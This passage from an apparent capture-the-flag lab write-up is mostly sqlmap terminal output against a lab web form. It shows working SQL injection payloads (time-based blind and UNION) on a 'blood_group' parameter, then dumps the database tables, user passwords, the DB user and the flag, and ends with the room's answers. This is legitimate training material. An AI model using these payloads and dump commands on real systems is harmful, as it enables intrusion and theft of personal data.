[22:12:51] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[22:12:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:13:04] [INFO] POST parameter 'blood_group' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[22:13:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:13:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:13:13] [WARNING] reflective value(s) found and filtering out
[22:13:16] [INFO] target URL appears to be UNION injectable with 8 columns
[22:13:17] [INFO] POST parameter 'blood_group' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'blood_group' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 70 HTTP(s) requests:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=A+' AND (SELECT 2957 FROM (SELECT(SLEEP(5)))lpcx) AND 'MmpH'='MmpH
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=A+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71787a7871,0x56626a6a7256627368576e504570586a707552505a51447064644a656a6170594762497163625a66,0x7176707671),NULL,NULL-- -
---
[22:13:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[22:13:29] [INFO] fetching database names
available databases [6]:
[*] blood
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test
[22:13:30] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.60.177'
[*] ending @ 22:13:30 /2023-02-04/
┌──(kali㉿kali)-[~/nappy/brutus]
└─$ sqlmap -r req.txt -p blood_group -D blood --tables
___
__H__
___ ___[,]_____ ___ ___ {1.6.12#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:14:17 /2023-02-04/
[22:14:17] [INFO] parsing HTTP request from 'req.txt'
[22:14:18] [INFO] resuming back-end DBMS 'mysql'
[22:14:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=A+' AND (SELECT 2957 FROM (SELECT(SLEEP(5)))lpcx) AND 'MmpH'='MmpH
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=A+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71787a7871,0x56626a6a7256627368576e504570586a707552505a51447064644a656a6170594762497163625a66,0x7176707671),NULL,NULL-- -
---
[22:14:18] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[22:14:18] [INFO] fetching tables for database: 'blood'
[22:14:19] [WARNING] reflective value(s) found and filtering out
Database: blood
[3 tables]
+----------+
| blood_db |
| flag |
| users |
+----------+
[22:14:19] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.60.177'
[*] ending @ 22:14:19 /2023-02-04/
┌──(kali㉿kali)-[~/nappy/brutus]
└─$ sqlmap -r req.txt -p blood_group -D blood --dump-all
___
__H__
___ ___[,]_____ ___ ___ {1.6.12#stable}
|_ -| . [(] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:14:55 /2023-02-04/
[22:14:55] [INFO] parsing HTTP request from 'req.txt'
[22:14:56] [INFO] resuming back-end DBMS 'mysql'
[22:14:56] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=A+' AND (SELECT 2957 FROM (SELECT(SLEEP(5)))lpcx) AND 'MmpH'='MmpH
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=A+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71787a7871,0x56626a6a7256627368576e504570586a707552505a51447064644a656a6170594762497163625a66,0x7176707671),NULL,NULL-- -
---
[22:14:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[22:14:56] [INFO] fetching tables for database: 'blood'
[22:14:56] [INFO] fetching columns for table 'users' in database 'blood'
[22:14:57] [WARNING] reflective value(s) found and filtering out
[22:14:57] [INFO] fetching entries for table 'users' in database 'blood'
Database: blood
Table: users
[3 entries]
+----+------------+---------+-----------+----------+----------+-----------+-------------+--------------+-------------------+
| id | dob | gender | address | password | username | full_name | blood_group | phone_number | email_address |
+----+------------+---------+-----------+----------+----------+-----------+-------------+--------------+-------------------+
| 1 | 12/12/1996 | <blank> | Kathmandu | nare | nare | nare | O+ | 9800000000 | nare@nare.sqlmap |
| 2 | 12/12/2222 | MALE | google | nare | nare | google | A+ | 12345555 | google@google.com |
| 3 | 12/12/2021 | MALE | google | google | google | GOogle | A+ | 1234567890 | google@gmail.com |
+----+------------+---------+-----------+----------+----------+-----------+-------------+--------------+-------------------+
[22:14:57] [INFO] table 'blood.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.10.60.177/dump/blood/users.csv'
[22:14:57] [INFO] fetching columns for table 'blood_db' in database 'blood'
[22:14:58] [INFO] fetching entries for table 'blood_db' in database 'blood'
Database: blood
Table: blood_db
[1 entry]
+----+-----+------+--------+-----------+-------------+--------------+--------------------+
| id | Age | Name | Gender | Address | blood_group | Phone_number | email_address |
+----+-----+------+--------+-----------+-------------+--------------+--------------------+
| 1 | 27 | Nare | MALE | Kathmandu | O+ | 9800000000 | nare@sqlmap.com.np |
+----+-----+------+--------+-----------+-------------+--------------+--------------------+
[22:14:58] [INFO] table 'blood.blood_db' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.10.60.177/dump/blood/blood_db.csv'
[22:14:58] [INFO] fetching columns for table 'flag' in database 'blood'
[22:14:58] [INFO] fetching entries for table 'flag' in database 'blood'
Database: blood
Table: flag
[1 entry]
+----+---------------------+------+
| id | flag | name |
+----+---------------------+------+
| 1 | thm{sqlm@p_is_L0ve} | flag |
+----+---------------------+------+
[22:14:59] [INFO] table 'blood.flag' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.10.60.177/dump/blood/flag.csv'
[22:14:59] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.60.177'
[*] ending @ 22:14:59 /2023-02-04/
┌──(kali㉿kali)-[~/nappy/brutus]
└─$ sqlmap -r req.txt -p blood_group -D blood --current-user
___
__H__
___ ___[']_____ ___ ___ {1.6.12#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:16:12 /2023-02-04/
[22:16:12] [INFO] parsing HTTP request from 'req.txt'
[22:16:12] [INFO] resuming back-end DBMS 'mysql'
[22:16:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=A+' AND (SELECT 2957 FROM (SELECT(SLEEP(5)))lpcx) AND 'MmpH'='MmpH
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=A+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71787a7871,0x56626a6a7256627368576e504570586a707552505a51447064644a656a6170594762497163625a66,0x7176707671),NULL,NULL-- -
---
[22:16:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[22:16:13] [INFO] fetching current user
[22:16:13] [WARNING] reflective value(s) found and filtering out
current user: 'root@localhost'
[22:16:13] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.60.177'
[*] ending @ 22:16:13 /2023-02-04/
What is the name of the interesting directory ?
use gobuster
blood
Who is the current db user?
root
What is the final flag?
thm{sqlm@p_is_L0ve}
[[Insekube]]
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